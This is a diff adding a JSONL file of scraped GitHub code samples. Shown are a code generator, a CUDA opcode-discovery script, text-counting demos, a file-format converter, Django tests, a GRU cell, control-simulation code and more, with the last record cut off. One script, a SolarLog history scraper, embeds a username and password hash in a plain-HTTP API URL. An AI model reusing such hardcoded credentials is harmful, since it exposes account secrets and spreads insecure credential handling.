diff --git "a/170.jsonl" "b/170.jsonl"
new file mode 100644--- /dev/null
+++ "b/170.jsonl"
@@ -0,0 +1,600 @@
+{"seq_id":"71679191396","text":"from pathlib import Path\n\nimport yaml\nfrom jinja2 import Environment, FileSystemLoader\n\n\nclass CodeGenerator:\n def __init__(\n self, template_path: Path, target_path: Path, replacements: dict\n ) -> None:\n \"\"\"Palm core code generator class\n\n Args:\n template_path (Path): Path to the directory containing your templates and template-config.yaml\n target_path (Path): Path to directory where generated files will be written\n replacements (dict): Dictionary of templated strings to replace\n \"\"\"\n self.template_path = template_path\n self.target_path = target_path\n self.replacements = replacements\n self.config = self.get_config()\n\n def run(self) -> str:\n \"\"\"Runs code generator\n\n Using the config from template_path/template-config.yaml\n Generate all directories then generate all files with jinja templating.\n\n Returns:\n str: Result message\n \"\"\"\n env = Environment(\n loader=FileSystemLoader(self.template_path),\n trim_blocks=True,\n lstrip_blocks=True,\n )\n\n for directory in self.config.get(\"directories\", []):\n directory_path = Path(\n Path.cwd(),\n self.target_path,\n env.from_string(directory).render(self.replacements),\n )\n\n if not directory_path.is_dir():\n directory_path.mkdir(parents=True)\n else:\n print(f\"{directory_path} already exists\")\n\n for file_item in self.config.get(\"files\", []):\n for key in file_item:\n template = key\n destination = env.from_string(file_item[key]).render(self.replacements)\n print(f\"Generating {template} to {destination}\")\n t = env.get_template(template)\n templated_contents = t.render(self.replacements)\n\n with open(Path(Path.cwd(), self.target_path, destination), \"w\") as fh:\n fh.write(templated_contents)\n\n return \"Generated successfully\"\n\n def get_config(self) -> dict:\n \"\"\"Read configuration from template_path/template-config.yaml\n\n Example template-config.yaml:\n directories:\n - \"foo\"\n - \"foo/{{some_replacement}}\"\n\n files:\n - template_name.py: \"path/to/destination.ext\"\n - main.py: \"foo/{{some_replacement}}/__main__.py\"\n\n\n Returns:\n dict: dict representation of template-config.yaml\n \"\"\"\n config_data = {}\n\n try:\n config_data = yaml.safe_load(\n (self.template_path / \"template-config.yaml\").read_text()\n )\n except FileNotFoundError:\n print(f\"No template-config.yaml found in {self.template_path}\")\n except:\n raise Exception(\"Error reading template-config.yaml\")\n return config_data\n","repo_name":"palmetto/palm-cli","sub_path":"palm/code_generator.py","file_name":"code_generator.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"0"}
+{"seq_id":"25466792393","text":"# demonstrates ways to count unique words in Python\nfrom collections import Counter\n\nimport nltk\nfrom sklearn.feature_extraction.text import CountVectorizer as CV\n\ntext = 'ah list of ah words'\nt = text.split()\nc = Counter(t)\n# get unique words\nc.keys()\nc.most_common(10)\n\nfd = nltk.FreqDist(t)\n# unique words\nfd.keys()\n# you can plot the distribution easily\nfd.plot()\n# get words that occur at least a certain number of times\nmore_than_once = [(f, c) for f, c in fd.items() if c > 1]\nfd.most_common(10)\n\n# this method is more useful for multiple documents\nvec = CV()\nres = vec.fit_transform([text])\n# same result as counter/FreqDist here\nvec.vocabulary_\n# get unique words\nvec.vocabulary_.keys()\n","repo_name":"nateGeorge/compare_wordcount_efficiency","sub_path":"ways_to_count.py","file_name":"ways_to_count.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"9074871199","text":"# /usr/bin/env python\n\nimport subprocess\nimport sys\nimport re\nimport struct\nimport os\nimport multiprocessing\nimport json\n\n\nSM = 75\n\n# according to the https://arxiv.org/pdf/1804.06826.pdf\n# there up to 13 LSB used to encode instruction opcode\n# according to the https://github.com/cloudcores/CuAssembler/blob/master/CuAsm/InsAsmRepos/DefaultInsAsmRepos.sm_75.txt#L14898\n# uniform datapath instrucitons contain one opcode bit at position 91\nOPCODE_BITS = [*range(0, 13), 91]\n\n\nINSTR_SIZE = 128\nINSTR_SIZE_BYTES = INSTR_SIZE // 8\nINSTR_MAX = 2 ** INSTR_SIZE\nINSTR_LAST = INSTR_MAX - 1\n\nALWAYS_ZERO_HI_MSB = 2\n\nREUSE_BITS_SIZE = 4\nREUSE_BITS_OFFSET = INSTR_SIZE - REUSE_BITS_SIZE - ALWAYS_ZERO_HI_MSB\n\nBARRIER_BITS_SIZE = 6\nBARRIER_BITS_OFFSET = REUSE_BITS_OFFSET - BARRIER_BITS_SIZE\n\nREAD_BITS_SIZE = 3\nREAD_BITS_OFFSET = BARRIER_BITS_OFFSET - READ_BITS_SIZE\n\nWRITE_BITS_SIZE = 3\nWRITE_BITS_OFFSET = READ_BITS_OFFSET - WRITE_BITS_SIZE\n\nYIELD_FLAG_OFFSET = WRITE_BITS_OFFSET - 1\n\nSTALL_BITS_SIZE = 4\nSTALL_BITS_OFFSET = YIELD_FLAG_OFFSET - STALL_BITS_SIZE\n\n\nclass Instruction:\n def __init__(self, value):\n assert 0 <= value and value < INSTR_MAX\n self.v = value\n\n @staticmethod\n def NOP():\n instr = Instruction(0)\n # read and write unused only if all their bits set, this is default state\n instr.read = 0b111\n instr.write = 0b111 \n return instr\n\n def clear_bit(self, idx):\n assert 0 <= idx and idx < INSTR_SIZE\n self.v &= INSTR_LAST - (1 << idx)\n\n def set_bit(self, idx, enable=True):\n assert 0 <= idx and idx < INSTR_SIZE\n self.clear_bit(idx)\n self.v |= int(enable) << idx\n\n def get_bit(self, idx):\n assert 0 <= idx and idx < INSTR_SIZE\n return (self.v >> idx) & 1\n\n def set_range(self, start, end, value):\n assert 0 <= start and start < end and end < INSTR_SIZE\n for idx, bit in enumerate(range(start, end)):\n self.set_bit(bit, (value >> idx) & 1)\n\n def get_range(self, start, end):\n assert 0 <= start and start < end and end < INSTR_SIZE\n return (self.v & (2 ** end - 1)) >> start\n\n @property\n def reuse(self):\n return [self.get_bit(REUSE_BITS_OFFSET + i) for i in range(REUSE_BITS_SIZE)]\n\n def set_reuse(self, index, enable=True):\n assert 0 <= index and index < REUSE_BITS_SIZE\n self.set_bit(REUSE_BITS_OFFSET + index, enable)\n\n @property\n def barrier(self):\n return [\n self.get_bit(BARRIER_BITS_OFFSET + i) for i in range(BARRIER_BITS_SIZE)\n ]\n\n def set_barrier(self, index, enable=True):\n assert 0 <= index and index < BARRIER_BITS_SIZE\n self.set_bit(BARRIER_BITS_OFFSET + index, enable)\n\n @property\n def read(self):\n return self.get_range(READ_BITS_OFFSET, READ_BITS_OFFSET + READ_BITS_SIZE)\n\n @read.setter\n def read(self, value):\n assert 0 <= value and value < (2 ** READ_BITS_SIZE)\n self.set_range(READ_BITS_OFFSET, READ_BITS_OFFSET + READ_BITS_SIZE, False)\n self.v |= value << READ_BITS_OFFSET\n\n @property\n def write(self):\n return self.get_range(WRITE_BITS_OFFSET, WRITE_BITS_OFFSET + WRITE_BITS_SIZE)\n\n @write.setter\n def write(self, value):\n assert 0 <= value and value < (2 ** WRITE_BITS_SIZE)\n self.set_range(WRITE_BITS_OFFSET, WRITE_BITS_OFFSET + WRITE_BITS_SIZE, False)\n self.v |= value << WRITE_BITS_OFFSET\n\n @property\n def ctrl_yield(self):\n return self.get_bit(YIELD_FLAG_OFFSET)\n\n @ctrl_yield.setter\n def ctrl_yield(self, enable):\n self.set_bit(YIELD_FLAG_OFFSET, enable)\n\n @property\n def stall(self):\n return self.get_range(STALL_BITS_OFFSET, STALL_BITS_OFFSET + STALL_BITS_SIZE)\n\n @stall.setter\n def stall(self, value):\n assert 0 <= value and value < (2 ** STALL_BITS_SIZE)\n self.set_range(STALL_BITS_OFFSET, STALL_BITS_OFFSET + STALL_BITS_SIZE, False)\n self.v |= value << STALL_BITS_OFFSET\n\n def __repr__(self):\n return (\n f\"Instruction(lo=0x{self.lo:016x}, hi=0x{self.hi:016x}, reuse={self.reuse}, \"\n f\"barrier={self.barrier}, read={self.read}, write={self.write}, yield={self.ctrl_yield}, \"\n f\"opcode=0b{self.opcode:014b})\"\n )\n\n @property\n def opcode_bits(self):\n return {b: self.get_bit(b) for b in OPCODE_BITS}\n\n @opcode_bits.setter\n def opcode_bits(self, value):\n assert len(value) == len(OPCODE_BITS)\n for b, v in zip(OPCODE_BITS, value):\n self.set_bit(b, v)\n\n def __getitem__(self, key):\n if isinstance(key, slice):\n assert key.step is None\n return self.get_range(key.start, key.stop)\n else:\n return self.get_bit(key)\n\n def __setitem__(self, key, val):\n if isinstance(key, slice):\n assert key.step is None\n self.set_range(key.start, key.stop, val)\n else:\n self.set_bit(key, val)\n\n\ndef make_dummy_cubin():\n with open(\"dummy.cu\", \"w\") as f:\n f.write(\"__device__ void foo() {}\")\n\n subprocess.run(\n f\"nvcc -rdc=true -cubin -arch=sm_{SM} dummy.cu -o dummy.cubin\",\n shell=True,\n check=True,\n )\n\n sp = subprocess.run(\n \"objdump -h dummy.cubin\", shell=True, check=True, capture_output=True\n )\n sections = sp.stdout.decode(sys.stdout.encoding)\n\n match = re.search(\".text._Z3foov\\s*([^\\s]*)\\s*[^\\s]*\\s*[^\\s]*\\s*([^\\s]*)\", sections)\n section_size = match.group(1)\n section_offset = match.group(2)\n # print(section_size, section_offset)\n\n # target instruction should be at the beginning of offset\n with open(\"dummy.cubin\", \"rb\") as f:\n original_binary = f.read()\n\n off_start = int(section_offset, 16)\n\n return off_start, original_binary\n\n\nclass Checker:\n def __init__(self):\n start, cubin = make_dummy_cubin()\n self.start = start\n self.cubin = cubin\n \n # to avoid calls to cubojdump/nvdisasm that we already tried\n self.not_saved = 0\n try:\n with open('checker_cache.json', 'r') as f:\n self.cache = json.load(f)\n except:\n self.cache = dict()\n\n def check_instr(self, instr):\n instr_code_str = str(instr.v)\n if instr_code_str in self.cache:\n return self.cache[instr_code_str]\n\n start = self.start\n cubin = self.cubin\n\n patched = bytearray(cubin)\n filename = f\"isntr_{instr.v}.cubin\" \n with open(filename, \"wb\") as f:\n before = patched[start:start + INSTR_SIZE_BYTES]\n patched[start:start + INSTR_SIZE_BYTES] = instr.v.to_bytes(INSTR_SIZE_BYTES, \"little\")\n f.write(patched)\n\n result = None\n try:\n sp = subprocess.run(\n f\"cuobjdump -sass {filename}\", shell=True, check=True, capture_output=True\n )\n disasm = sp.stdout.decode(sys.stdout.encoding)\n match = re.search('/.0000./\\s*([^;]*);', disasm)\n if match is not None:\n result = (instr.v, hex(instr.v), True, match.group(1))\n else:\n result = (instr.v, hex(instr.v), False, \"UNKNOWN\")\n except subprocess.CalledProcessError as e:\n result = (instr.v, hex(instr.v), False, e.stderr.decode(sys.stdout.encoding))\n os.remove(filename)\n\n self.cache[instr_code_str] = result\n self.not_saved += 1\n if self.not_saved == 100:\n # dump cache to disk\n print('+++ Saving checker cache to disk')\n with open('checker_cache.json', 'w') as f:\n json.dump(self.cache, f)\n print('=== Saving checker cache to disk')\n self.not_saved = 0\n\n return result\n\n def check_opcode(self, opcode):\n instr = Instruction.NOP()\n instr.opcode_bits = [((opcode >> i) & 1) for i in range(len(OPCODE_BITS))]\n result = self.check_instr(instr)\n return result\n\nif __name__ == \"__main__\":\n checker = Checker()\n \n #status, i = checker.check_instr(Instruction(0x000078e00ff60000000ff057424), 'patched.cubin')\n #print(status, i)\n\n parallel_workers = 128\n pool = multiprocessing.Pool(parallel_workers)\n final_result = pool.map(checker.check_opcode, range(0, 2 ** len(OPCODE_BITS)))\n\n # seqiential equivalent of the above code\n # final_result = []\n # for i in range(0, 2 ** len(OPCODE_BITS)):\n # final_result.append(checker.check_opcode(i))\n\n descovered_opcodes = {i: (h, s, r) for i, h, s, r in final_result}\n with open('discovered_opcodes_raw.json', \"w\") as f:\n f.write(json.dumps(descovered_opcodes, indent=4, sort_keys=True))","repo_name":"spcl/sage","sub_path":"checksum/instr_decode/opcode_discovery.py","file_name":"opcode_discovery.py","file_ext":"py","file_size_in_byte":8722,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"0"}
+{"seq_id":"4069956813","text":"#!/usr/bin/env python3\n### lightweight winsun api caller to test if this can be used to gatter data_weather\n\nimport http.client\nimport json\nimport time\nimport requests\nimport logging\n\n\ndef solarLog_call(epoch_time):\n epoch_time = str(epoch_time)\n conn = http.client.HTTPConnection(\"\")\n r = requests.get(\" http://winsun.solarlog-web.ch/api?cid=\" + pfadheimBaarCID + \"&locale=de_ch&username=277555406&password=5a03cdf0a3ff42de09bc85361d8a2f0f&function=dashboard&format=jsonh&solarlog=9112&tiles=Yield|true,Grafic|true,Env|true,Weather|true&ctime=\" + epoch_time)\n logging.info(\"Response: \" + str(r.status_code) + \" \" + r.reason)\n\n data = r.json() # This will return entire content.\n data['timestamp'] = epoch_time\n logging.debug(data)\n with open('/home/claude/repo/bda-solar/data/history_solar/pfadibaar_solarlog_' + epoch_time + '.json', 'w', encoding='utf-8') as outfile:\n json.dump(data, outfile, indent=4, ensure_ascii=False)\n conn.close()\n\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(filename='/home/claude/repo/bda-solar/data/history_solar/solar_requests.log',\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.DEBUG)\n epoch_time_begin = 1511522186 # 24.11.2017\n epoch_time_now = round(time.time()) # now\n logging.info(\"Start API call Pfadiheim Baar at Time: \" + str(epoch_time_now))\n pfadheimBaarCID = \"51769\"\n\n time = epoch_time_begin\n while time < epoch_time_now:\n solarLog_call(time)\n # + 5min in s = 300\n time += 300\n","repo_name":"cgasser/bda-solar","sub_path":"src/example/single_winsun_api_cal_history.py","file_name":"single_winsun_api_cal_history.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"10868199959","text":"import sys\nimport csv\nimport os\nimport pickle\nimport json\nfrom pathlib import Path\n\n\nclass CheckFiles:\n def __init__(self, src=None, dst=None):\n if not src:\n src=sys.argv[1]\n if not dst:\n dst=sys.argv[2]\n self.src = src\n self.dst = dst\n self.brain = []\n\n def file_exists(self):\n if not os.path.exists(self.src):\n print(f\"Input file {src} not exists. Files in directory:\")\n dir = list(os.listdir())\n print(dir)\n sys.exit()\n\n \"\"\" def check_allowed_extensions(self):\n check1 = Path(self.src)\n if not check1.match(\"*.json\") or check1.match(\"*.pickle\") or check1.match(\"*.csv\"):\n print(\"Allowed extensions: .json, .pickle, .csv\")\n sys.exit()\n check2 = Path(self.dst)\n if not check2.match(\"*.json\") or check2.match(\"*.pickle\") or check2.match(\"*.csv\"):\n print(\"Allowed extensions: .json, .pickle and .csv\")\n sys.exit()\n \"\"\"\n\n def sysargv3read(self):\n for changes in sys.argv[3:]:\n par = changes.split(\",\")\n row = int(par[0])-1\n column = int(par[1])-1\n value = \",\".join(par[2:])\n self.brain[row][column]=value\n\n\nclass CsvRead(CheckFiles):\n\n def read(self):\n with open(self.src, \"r\", newline=\"\") as f:\n reader = csv.reader(f)\n for line in reader:\n self.brain.append(line)\n\n\nclass CsvWrite(CheckFiles):\n\n def write(self):\n with open(self.dst, \"w\", newline=\"\", encoding=\"utf-8\") as f:\n writer = csv.writer(f)\n for line in self.brain:\n writer.writerow(line)\n\n\nclass PickleRead(CheckFiles):\n\n def read(self):\n with open(self.src, \"rb\") as file:\n self.brain = pickle.loads(file.read())\n\n\nclass PickleWrite(CheckFiles):\n\n def write(self):\n with open(self.dst, \"wb\") as file:\n file.write(pickle.dumps(self.brain))\n\n\nclass JsonRead(CheckFiles):\n\n def read(self):\n with open(self.src, \"r\", newline=\"\", encoding=\"utf-8\") as file:\n reader = json.loads(file.read())\n self.brain = reader\n\n\nclass JsonWrite(CheckFiles):\n\n def write(self):\n with open(self.dst, \"w\", newline=\"\", encoding=\"utf-8\") as file:\n file.write(json.dumps(self.brain))\n\n\nsrc = sys.argv[1]\ncheck = Path(src)\nif check.match(\"*.json\") is True:\n reader = JsonRead\nif check.match(\"*.csv\") is True:\n reader = CsvRead\nif check.match(\"*.pickle\") is True:\n reader = PickleRead\n\ndst = sys.argv[2]\ncheck = Path(dst)\nif check.match(\"*.json\") is True:\n writer = JsonWrite\nif check.match(\"*.csv\") is True:\n writer = CsvWrite\nif check.match(\"*.pickle\") is True:\n writer = PickleWrite\n\n\nclass Change(reader, writer):\n pass\n\n\nobj = Change()\nobj.file_exists()\n#obj.check_allowed_extensions()\nobj.read()\nobj.sysargv3read()\nobj.write()\n\n\n","repo_name":"dmtteam/p9-l6-csv","sub_path":"reader2.py","file_name":"reader2.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"9195926661","text":"from django.test import TestCase\nfrom core.models import Vehicle, User, Rent\nfrom core.core import rent_vehicle, CollisionError, StatusError\nfrom django.utils import timezone\nfrom datetime import timedelta\n\nNOW = timezone.now()\nHOUR = timedelta(hours=1)\nDAY = timedelta(days=1)\n\n\nclass UserRentLimitTest(TestCase):\n def setUp(self):\n self.u1 = User.objects.create_user('u1')\n self.u2 = User.objects.create_user('u2')\n self.v1 = Vehicle.objects.create(kind=Vehicle.KIND_CAR, code='c1', status=Vehicle.STATUS_AVAILABLE)\n self.v2 = Vehicle.objects.create(kind=Vehicle.KIND_CAR, code='c2', status=Vehicle.STATUS_AVAILABLE)\n\n def test_success_no_collision(self):\n rent = rent_vehicle(self.v1, self.u1, start_time=NOW+HOUR*4, end_time=NOW+HOUR*5)\n self.assertIsNotNone(rent)\n\n def test_success_multiple_rent_no_collision(self):\n self.assertTrue(NOW + HOUR *8 < NOW + DAY * 2)\n rent = rent_vehicle(self.v1, self.u1, start_time=NOW + HOUR, end_time=NOW + HOUR *8)\n rent2 = rent_vehicle(self.v1, self.u1, start_time=NOW + DAY * 2, end_time=NOW + DAY * 2 + HOUR * 3)\n self.assertIsNotNone(rent)\n self.assertIsNotNone(rent2)\n\n def test_past_date(self):\n self.assertRaises(ValueError, rent_vehicle, self.v1, self.u1,\n start_time=NOW - HOUR * 4, end_time=NOW - HOUR * 2)\n\n def test_incorrect_time_range(self):\n self.assertRaises(ValueError, rent_vehicle, self.v1, self.u1,\n start_time=NOW + HOUR * 4, end_time=NOW + HOUR * 2)\n self.assertRaises(ValueError, rent_vehicle, self.v1, self.u1,\n start_time=NOW + HOUR * 4, end_time=NOW + HOUR * 4)\n\n def test_max_rent_time(self):\n self.assertEquals(Rent.MAX_RENT_TIME, DAY * 7)\n\n rent = rent_vehicle(self.v1, self.u1, start_time=NOW + DAY * 1, end_time=NOW + DAY * 8)\n self.assertIsNotNone(rent)\n\n self.assertRaises(ValueError, rent_vehicle, self.v2, self.u2,\n start_time=NOW + DAY * 1, end_time=NOW + DAY * 8 + HOUR)\n\n def test_out_of_range_date(self):\n self.assertEquals(Rent.LAST_AVAILABLE_TIME, DAY * 90)\n\n self.assertRaises(ValueError, rent_vehicle, self.v1, self.u1,\n start_time=NOW + DAY * 88, end_time=NOW + DAY * 91)\n\n def test_collision(self):\n rent = rent_vehicle(self.v1, self.u1, start_time=NOW+DAY*3, end_time=NOW+DAY*6)\n # z przodu\n self.assertRaises(CollisionError, rent_vehicle, self.v1, self.u1,\n start_time=NOW + DAY * 2, end_time=NOW + DAY * 5)\n #z tylu\n self.assertRaises(CollisionError, rent_vehicle, self.v1, self.u1,\n start_time=NOW + DAY * 4, end_time=NOW + DAY * 9)\n #w srodku\n self.assertRaises(CollisionError, rent_vehicle, self.v1, self.u1,\n start_time=NOW + DAY * 4, end_time=NOW + DAY * 5)\n #otacza calosc\n self.assertRaises(CollisionError, rent_vehicle, self.v1, self.u1,\n start_time=NOW + DAY * 2, end_time=NOW + DAY * 7)\n\n def test_status_not_available(self):\n self.v1.status = Vehicle.STATUS_BROKE_DOWN\n self.v1.save()\n\n self.assertRaises(StatusError, rent_vehicle, self.v1, self.u1,\n start_time=NOW + DAY * 2, end_time=NOW + DAY * 7)\n","repo_name":"123przemek/RentVehicle","sub_path":"rent_vehicle/core/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"24611676441","text":"import tensorflow as tf\n\n\n\nclass GRUCell(tf.contrib.rnn.RNNCell):\n \"\"\"\n Gated Recurrent Unit cell (cf. http://arxiv.org/abs/1406.1078).\n Taken from https://github.com/tensorflow/tensorflow/blob/r1.3/tensorflow/python/ops/rnn_cell_impl.py\n and modified.\n \"\"\"\n def __init__(self, num_units, activation, init, input, is_bidirectional, reuse=None):\n super(GRUCell, self).__init__(_reuse=reuse)\n self._num_units = num_units\n self._activation = activation\n self._init = init\n self._is_bidirectional = is_bidirectional\n\n if self._init:\n if self._is_bidirectional:\n # forward cell\n with tf.variable_scope('bidirectional_rnn/fw/multi_rnn_cell/cell_0/gru_cell/gates/rt_zt'):\n self._initialize_variables(input, 2 * self._num_units)\n\n with tf.variable_scope('bidirectional_rnn/fw/multi_rnn_cell/cell_0/gru_cell/candidate/ct'):\n self._initialize_variables(input, self._num_units)\n\n # backward cell\n with tf.variable_scope('bidirectional_rnn/bw/multi_rnn_cell/cell_0/gru_cell/gates/rt_zt'):\n self._initialize_variables(input, 2 * self._num_units)\n\n with tf.variable_scope('bidirectional_rnn/bw/multi_rnn_cell/cell_0/gru_cell/candidate/ct'):\n self._initialize_variables(input, self._num_units)\n\n else:\n\n with tf.variable_scope('rnn/multi_rnn_cell/cell_0/gru_cell/gates/rt_zt'):\n self._initialize_variables(input, 2 * self._num_units)\n\n with tf.variable_scope('rnn/multi_rnn_cell/cell_0/gru_cell/candidate/ct'):\n self._initialize_variables(input, self._num_units)\n\n\n @property\n def state_size(self):\n return self._num_units\n\n @property\n def output_size(self):\n return self._num_units\n\n\n def call(self, inputs, state):\n\n with tf.variable_scope(\"gates\"):\n\n # note: start with bias of 1.0 to not reset and not update.\n # note: state = h_{t-1}, inputs = x_t\n\n value = tf.sigmoid(self.gru_linear([inputs, state], 2 * self._num_units, self._init, scope='rt_zt'))\n\n r, z = tf.split(value=value, num_or_size_splits=2, axis=1)\n\n with tf.variable_scope(\"candidate\"):\n c = self._activation(self.gru_linear([inputs, r * state], self._num_units, self._init, scope='ct'))\n\n new_h = z * state + (1 - z) * c\n\n return new_h, new_h\n\n\n def _initialize_variables(self, inputs, n_out):\n\n # inputs: batch x time x depth\n inp = tf.slice(inputs, begin=[0,0,0], size=[-1,1,-1])\n inp = tf.squeeze(inp) # batch x depth\n\n state = tf.random_normal(shape=[tf.shape(inp)[0], self._num_units], mean=0.0, stddev=1.0)\n inp = tf.concat([inp, state], axis=1)\n\n n_x = inp.get_shape()[1].value\n\n v = tf.get_variable(\"v\", shape=[n_x, n_out], initializer=tf.random_normal_initializer(0, 0.05))\n v_norm = tf.nn.l2_normalize(v.initialized_value(), dim=0)\n\n t = tf.matmul(inp, v_norm)\n mu_t, var_t = tf.nn.moments(t, axes=0)\n\n inv = 1 / tf.sqrt(var_t + 1e-10)\n\n _ = tf.get_variable(\"g\", initializer=inv)\n _ = tf.get_variable(\"b\", initializer=-mu_t * inv)\n\n\n def gru_linear(self, args, n_out, init, scope):\n\n total_arg_size = 0\n shapes = [a.get_shape() for a in args]\n for shape in shapes:\n total_arg_size += shape[1].value\n\n with tf.variable_scope(scope) as scope:\n\n scope.reuse_variables()\n\n n_x = total_arg_size\n x = tf.concat(args, axis=1)\n\n if init:\n v = tf.get_variable(\"v\", shape=[n_x, n_out])\n v_norm = tf.nn.l2_normalize(v.initialized_value(), dim=0)\n\n t = tf.matmul(x, v_norm)\n mu_t, var_t = tf.nn.moments(t, axes=0)\n\n inv = 1 / tf.sqrt(var_t + 1e-10)\n\n inv = tf.reshape(inv, shape=[1, n_out])\n mu_t = tf.reshape(mu_t, shape=[1, n_out])\n\n return tf.multiply(t - mu_t, inv)\n\n else:\n v = tf.get_variable(\"v\", shape=[n_x, n_out])\n g = tf.get_variable(\"g\", shape=[n_out])\n b = tf.get_variable(\"b\", shape=[n_out])\n\n x = tf.matmul(x, v)\n scaling = g / tf.sqrt(tf.reduce_sum(tf.square(v), axis=0))\n\n scaling = tf.reshape(scaling, shape=[1, n_out])\n b = tf.reshape(b, shape=[1, n_out])\n\n return tf.multiply(scaling, x) + b\n\n\n","repo_name":"punit-haria/multimodal-learning","sub_path":"code/models/sequential.py","file_name":"sequential.py","file_ext":"py","file_size_in_byte":4628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"4107990554","text":"class Solution:\n def findRedundantConnection(self, edges: List[List[int]]) -> List[int]:\n def getRep(node):\n rep = arr[node]\n while rep != node:\n node = rep\n rep = arr[rep]\n return rep\n\n def union(x,y):\n rep_x = getRep(x)\n rep_y = getRep(y)\n if rep_x == rep_y:\n ans.append([x,y])\n else: \n arr[rep_y] = rep_x\n\n n = len(edges)\n arr = [i for i in range(n+1)] \n ans = []\n for i, j in edges:\n union(i,j)\n\n return ans[-1]\n ","repo_name":"MuleHakim/Competitive-Programming","sub_path":"Week_15/findRedundantConnection.py","file_name":"findRedundantConnection.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"0"}
+{"seq_id":"11076387226","text":"from flask.cli import FlaskGroup\nfrom app import app, db\n\ncli = FlaskGroup(app)\n\n@cli.command('create_db')\ndef create_db():\n with app.app_context():\n db.create_all()\n\n\nif __name__ == '__main__':\n cli()","repo_name":"CodingKen02/Group-10","sub_path":"source/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"28793639035","text":"import os\nfrom datetime import datetime\nimport numpy as np\nimport yaml\n\nfrom double_pendulum.model.symbolic_plant import SymbolicDoublePendulum\nfrom double_pendulum.model.model_parameters import model_parameters\nfrom double_pendulum.simulation.simulation import Simulator\nfrom double_pendulum.controller.ilqr.ilqr_mpc_cpp import ILQRMPCCPPController\nfrom double_pendulum.utils.plotting import plot_timeseries\nfrom double_pendulum.utils.csv_trajectory import save_trajectory\n\ndesign = \"design_A.0\"\nmodel = \"model_2.0\"\nrobot = \"acrobot\"\n\nfriction_compensation = True\n\nif robot == \"acrobot\":\n torque_limit = [0.0, 6.0]\n active_act = 0\nif robot == \"pendubot\":\n torque_limit = [6.0, 0.0]\n active_act = 1\n\nmodel_par_path = \"../../data/system_identification/identified_parameters/\"+design+\"/\"+model+\"/model_parameters.yml\"\nmpar = model_parameters(filepath=model_par_path)\n\nmpar_con = model_parameters(filepath=model_par_path)\n#mpar_con.set_motor_inertia(0.)\nif friction_compensation:\n mpar_con.set_damping([0., 0.])\n mpar_con.set_cfric([0., 0.])\nmpar_con.set_torque_limit(torque_limit)\n\n# simulation parameter\ndt = 0.005\nt_final = 10.0 # 4.985\nintegrator = \"runge_kutta\"\n\nprocess_noise_sigmas = [0., 0., 0., 0.]\nmeas_noise_sigmas = [0., 0., 0.05, 0.05]\ndelay_mode = \"posvel\"\ndelay = 0.0\nu_noise_sigmas = [0., 0.]\nu_responsiveness = 1.0\nperturbation_times = []\nperturbation_taus = []\n\n# filter args\nmeas_noise_cut = 0.0\nmeas_noise_vfilter = \"none\"\nfilter_kwargs = {\"lowpass_alpha\": [1., 1., 0.3, 0.3],\n \"kalman_xlin\": [np.pi, 0., 0., 0.],\n \"kalman_ulin\": [0., 0.],\n \"kalman_process_noise_sigmas\": process_noise_sigmas,\n \"kalman_meas_noise_sigmas\": meas_noise_sigmas,\n \"ukalman_integrator\": integrator,\n \"ukalman_process_noise_sigmas\": process_noise_sigmas,\n \"ukalman_meas_noise_sigmas\": meas_noise_sigmas}\n\n# controller parameters\n# N = 20\nN = 100\ncon_dt = dt\nN_init = 100\nmax_iter = 20\nmax_iter_init = 1000\nregu_init = 1.\nmax_regu = 10000.\nmin_regu = 0.01\nbreak_cost_redu = 1e-6\ntrajectory_stabilization = False\nshifting = 1\n\n# swingup parameters\nstart = [np.pi+0.05, -0.2, 0., 0.]\ngoal = [np.pi, 0., 0., 0.]\n\n\nif robot == \"acrobot\":\n # sCu = [0.1, 0.1]\n # sCp = [.1, .01]\n # sCv = [.1, .01]\n # sCen = 0.0\n # fCp = [10., 1.]\n # fCv = [10., 1.]\n # fCen = 0.0\n\n sCu = [0.1, 0.1]\n sCp = [.1, .1]\n sCv = [.01, .01]\n sCen = 0.0\n fCp = [10., 10.]\n fCv = [1., 1.]\n fCen = 0.0\n\nif robot == \"pendubot\":\n sCu = [0.0001, 0.0001]\n sCp = [0.1, 0.1]\n sCv = [0.01, 0.01]\n sCen = 0.\n fCp = [10., 10.]\n fCv = [.1, .1]\n fCen = 0.\n\n# create save directory\ntimestamp = datetime.today().strftime(\"%Y%m%d-%H%M%S\")\nsave_dir = os.path.join(\"data\", design, model, robot, \"ilqr\", \"mpc\", timestamp)\nos.makedirs(save_dir)\n\n# construct simulation objects\nplant = SymbolicDoublePendulum(model_pars=mpar)\n\nsim = Simulator(plant=plant)\nsim.set_process_noise(process_noise_sigmas=process_noise_sigmas)\nsim.set_measurement_parameters(meas_noise_sigmas=meas_noise_sigmas,\n delay=delay,\n delay_mode=delay_mode)\nsim.set_motor_parameters(u_noise_sigmas=u_noise_sigmas,\n u_responsiveness=u_responsiveness)\n\ncontroller = ILQRMPCCPPController(model_pars=mpar_con)\ncontroller.set_goal(goal)\ncontroller.set_parameters(N=N,\n dt=con_dt,\n max_iter=max_iter,\n regu_init=regu_init,\n max_regu=max_regu,\n min_regu=min_regu,\n break_cost_redu=break_cost_redu,\n integrator=integrator,\n trajectory_stabilization=trajectory_stabilization,\n shifting=shifting)\ncontroller.set_cost_parameters(sCu=sCu,\n sCp=sCp,\n sCv=sCv,\n sCen=sCen,\n fCp=fCp,\n fCv=fCv,\n 